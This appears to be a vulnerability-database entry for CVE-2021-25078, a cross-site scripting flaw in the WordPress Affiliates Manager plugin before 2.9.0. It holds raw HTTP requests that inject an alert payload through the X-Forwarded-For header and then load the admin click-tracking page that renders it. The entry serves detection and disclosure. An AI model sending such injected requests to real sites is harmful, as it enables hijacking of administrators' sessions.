| Title | Affiliates Manager < 2.9.0 - Cross Site Scripting |
|---|---|
| Author | r3Y3r53 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of an authenticated user, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Fixed in version 2.9.0 |
| CVSS Score | 6.1 |
| EPSS Score | 0.05997 |
| CVE ID | CVE-2021-25078 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve wp wordpress authenticated affiliates-manager wp-plugin xss wpscan wpaffiliatemanager vuln |
The plugin does not validate, sanitise and escape the IP address of requests logged by the click tracking feature, allowing unauthenticated attackers to perform Cross-Site Scripting attacks against admin viewing the tracked requests.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=QdCSby&pwd=V02xgP&wp-submit=Log+In
GET /?wpam_id=1 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Connection: close
X-Forwarded-For: <img src onerror=alert(document.domain)>
Accept-Encoding: gzip
GET /wp-admin/admin.php?page=wpam-clicktracking HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64, x64, rv:140.0) Gecko/20100101 Firefox/140.0
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25078.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-25078.pcap
N/AN/A